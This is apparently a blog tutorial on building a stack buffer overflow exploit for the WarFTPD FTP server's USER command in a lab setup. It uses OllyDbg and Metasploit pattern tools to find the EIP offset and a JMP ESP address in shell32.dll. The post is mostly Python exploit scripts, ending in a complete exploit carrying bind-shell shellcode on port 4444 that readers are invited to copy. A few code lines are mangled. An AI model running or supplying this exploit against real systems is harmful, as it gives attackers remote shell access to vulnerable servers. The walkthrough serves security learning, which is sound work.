• 0

Reverse Enginering WarFTPD

Finally, after preparing OllyDbg and WarFTP on our machine, its time to put reverse engineering in action.

What I do in this post is based on my teacher book titled "Harmless Hacking". Lets get started.

- Start your Windows XP machine.
- WarFTPD and install on your Windows OllyDbg, for OllyDbg can be found at / reverse-enginering/ollydbg/.
- Open WarFTP and start its service by clicking Properties> Start Service


Lets check the connection using nc
# Nc 172.16.227.128 21


- Lets do some fuzzing first. Make a python file with this code inside.

type in the terminal:
nano fuzzer.py


Spoiler:

#! / usr / bin / python
import socket
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
buffer = "\ X41" * 1000
s.connect (('172.16.227.128', 21))
data = s.recv (1024)
print ("sending data via the USER command evil ..")
s.send ('USER' + buffer + '\ r \ n')
data = s.recv (1024)
s.send ('PASS PASSWORD' + '\ r \ n')
s.close ()
print ("Finish")





- and open OllyDbg and choose File - attach - find warftpd - attach
- after running a new type F9 on the keyboard or the play button in OllyDbg

Lets execute the fuzzer (Make sure that you can see the machine window to see what happened at the software when we execute the fuzzer), type in terminal :
# python fuzzer.py

Ok, next is the debugging process. Prepare your OllyDbg.


if you see this then you have successfully made ​​the crash in warftpd
At this point WarFTP can't start because its user configuration file as the results from our fuzzing process before is broken. To repair it, simply delete a file called "FtpDaemon.dat" at the folder where you install WarFTP. If you install it in the default directory, it should be located at C:\Program Files\War-ftpd.

Start again your WarFTP. It should be running correctly.

- Create a new user by clicking this button below the menu bar.

- Ok, attack the software using the fuzzer again. But before that, don't forget to start WarFTP service again.
- Lets see what happened at WarFTP by running it in OllyDbg.
- Start your OllyDbg and attach to the WarFTP service
- Attack again with the fuzzer and see what happen to the WarFTP and OllyDbg.
- Before using OllyDbg we can't see what happened with the WarFTP, but after using it, we can see what happened.
- As you can see EIP register is fully overwritten. This is dangerous because as you know, EIP stored what command that will be executed.
Next step is to find where byte is EIP register overwritten. To help us find it, we can use metasploit.
- One of metasploit tools 'pattern_create' can create a structured dummy data. This will help us locate the real string in the packet data sent by our fuzzer. 
- Enter metasploit tools directory
# cd /pentest/exploits/framework/tools/
- To create a 1000 bytes data, execute this command.
# ./pattern_create.rb 1000 > string_pattern.txt
Next, change the fuzzer code with the generated string.
Spoiler:

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
#buffer="\x41"*1000
s.connect(('172.16.227.128',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Finish")




-Run fuzzer newly created and see what happens to OllyDbg.

- Next, we use another metasploit tool called 'pattern_offset'. This tool is used to calculate byte created by pattern_create. The location is the same as pattern_create
- To execute the command, just add the value in the ESP and EIP after the command
type:
#. / Pattern_offset.rb 32714131
485

#. / Pattern_offset.rb q4Aq5Aq
493.


- As you can see, to reach EIP register 485 bytes data is needed and to reach ESP register 493 bytes data is needed.
- Modify the fuzzer script that we've created before.
Spoiler:


#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
nilaiEIP="\x90"*485
nilaiEIP+="\xEF\xBE\xAD\xDE"
#buffer="\x41"*1000
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+nilaiEIP+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")




-Do more attacks by fuzzer that you created above, and look in OllyDbg.

if you like the above, then you will succeed.
-Next, we try to overwrite the ESP register.
- Once again, modify the fuzzer code.
Spoiler:

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x90"*485
buffer+="\xEF\xBE\xAD\xDE"
buffer+="\x90"*(493-len(buffer))
buffer+="\xCC"*(1000-len(buffer))
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")

- once again, run the fuzzer and see what happen in OllyDbg

At this point, we've gain the control over ESP and EIP registers.
- Next thing that we must do is find out the location of the process that read the stack in the memory. To do this, we can use 'JMP ESP' to help us. JMP ESP is a command used by the application to read the data inside the buffer memory. 
- So, how to find JMP ESP in WarFTP. Using the help of OllyDbg' module we can do that easily.
- Start your OllyDbg and attach to the WarFTP service.
- Click View > Executable modules, a window showing all library used by WarFTP while running.

- We will choose shell32.dll as the target. Double click it.


- After that, at the main window right click > search for > command,  Enter 'JMP ESP' in the search box.




- Transform the offset memory address to a little endian.
In my case, 7C9D30D7 will be \xD7\x30\x9D\x7C
- Modify the fuzzer again.

Spoiler:

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
buffer = "\x90" * 485
buffer+= "\xD7\x30\x9D\x7C"
buffer+= "\xCC" * (493-len(buffer))
buffer+= "\xCC" * (1000 - len(buffer))
s.connect(('172.16.227.128',21))
data =s.recv (1024)
s.send('USER '+buffer+'\r\n')
data = s.recv (1024)
s.send('PASS PASSWORD' +'\r\n')
s.close()



- once again, run the fuzzer and see what happen in OllyDbg
Wow... Success

-As you notice here, EIP register's value changed into 00AFFD59. Why? because EIP store the command that will be executed next. To make sure address 7C9D30D7 is really read by EIP.
- Give a breakpoint at 7C9D30D7, run the fuzzer and watch the result in OllyDbg.

- how, right click - then select the breakpoint - memory - a check mark on the menu - ok
Now you can see, OllyDbg preventing access to address 7C9D30D7. EIP value 7C9D30D7.

- Next thing we must do is creating a payload to be inserted in the fuzzer. We will use msfweb to generate the payload code.
- Enter the msfweb directory located in the framework2, type on terminal :
# cd /pentest/exploits/framework2
- then
# ./msfweb

- Open the address on web browser and type on address bar : 127.0.0.1:55555 

- Click "PAYLOADS" on the menu because we only want to create payload.
- Filter the list by choosing "os::win32" at the filter options.


- I'll use windows bind shell. 
- Fill out the required fields and when you're ready click "Generate"



- Then, we will insert the code given in the fuzzer.

- Or copy my fuzzer :
Spoiler:

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x90"*485
buffer+="\xD7\x30\x9D\x7C"
buffer+="\x90"*32
buffer+="\x29\xc9\xda\xd8\xb1\x51\xd9\x74\x24\xf4\xbe\x84\x94\xfa\x64\x5b"
buffer+="\x31\x73\x15\x83\xeb\xfc\x03\xf7\x85\x18\x91\x0b\xcf\x37\x17\x1b"
buffer+="\xe9\x37\x57\x24\x6a\x43\xc4\xfe\x4f\xd8\x50\xc2\x04\xa2\x5f\x42"
buffer+="\x1a\xb4\xeb\xfd\x04\xc1\xb3\x21\x34\x3e\x02\xaa\x02\x4b\x94\x42"
buffer+="\x5b\x8b\x0e\x36\x18\xcb\x45\x41\xe0\x06\xa8\x4c\x20\x7d\x47\x75"
buffer+="\xf0\xa6\x80\xfc\x1d\x2d\x8f\xda\xdc\xd9\x56\xa9\xd3\x56\x1c\xf2"
buffer+="\xf7\x69\xc9\x0f\x24\xe1\x84\x63\x10\xe9\xf7\xb8\x69\xca\x9c\xb5"
buffer+="\xc9\xdc\xd7\x89\xc1\x97\x98\x15\x77\x2c\x18\x2d\xd9\x5b\x17\x63"
buffer+="\xeb\x77\x77\x84\x25\xe1\x2b\x1c\xa2\xdd\xf9\x88\x45\x51\xcc\x17"
buffer+="\xfe\x6a\xe0\xcf\x35\x79\xfd\x34\x9a\x7d\x28\x15\x93\x67\xb3\x28"
buffer+="\x4e\x6f\x3e\x7f\xfb\x72\xc1\xaf\x93\xab\x34\xba\xc9\x1b\xb8\x92"
buffer+="\x41\xf7\x15\x49\x35\xb4\xca\x2e\xea\xc5\x3d\xd6\x64\x2b\xe2\x70"
buffer+="\x26\xc2\xfb\xe9\xa0\x70\xe1\x61\xf6\x2e\xe9\x57\x92\xc0\x44\x02"
buffer+="\x9c\x31\x0e\x08\xcf\x9c\x26\x07\xef\x37\xeb\xf2\xf0\x68\x64\x19"
buffer+="\x47\x0f\x3c\xb6\xa7\xd9\xef\x6c\x0c\xb3\xf0\x5c\x3f\x53\xe8\x25"
buffer+="\x86\xdd\xa1\x2a\xd0\x4b\xb1\x04\xbb\x19\x29\xc2\x2c\xbd\xdc\x83"
buffer+="\x48\x2b\x4f\xca\xbb\x60\xe6\x0b\xd1\x3c\x70\x31\x17\x7d\x71\x1f"
buffer+="\xa6\x3f\x5b\xa1\x15\xec\x30\xd0\xe0\xd4\x9d\x41\xbf\x4d\x90\x6b"
buffer+="\x73\x9b\xab\xe6\x30\x5b\x85\x53\xee\xf1\x7b\x32\x41\x9c\x7a\xe5"
buffer+="\x30\x35\x2c\xfa\x63\xdd\x63\xdd\x81\xd0\x2f\x22\x5f\x86\x30\x23"
buffer+="\x57\xa8\x1f\x50\xcf\xaa\x23\xa2\x94\xad\xf2\x78\xaa\x82\x93\x02"
buffer+="\x8c\xc1\x17\xa9\xd3\xd0\x27\x9d"
s.connect(('172.16.227.128',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("RAMPUNG CUK")





- Open WarFTP normally without OllyDbg
- Run the fuzzer above

- Connect to the machine using telnet through the created port.
# telnet 172.16.227.128 4444

"The Quieter You Become, The More You Are Able To Hear"
Try Harder

0 komentar:

Posting Komentar

Diberdayakan oleh Blogger.

Copyright © / scxo2oco71

Template by : Urang-kurai / powered by :blogger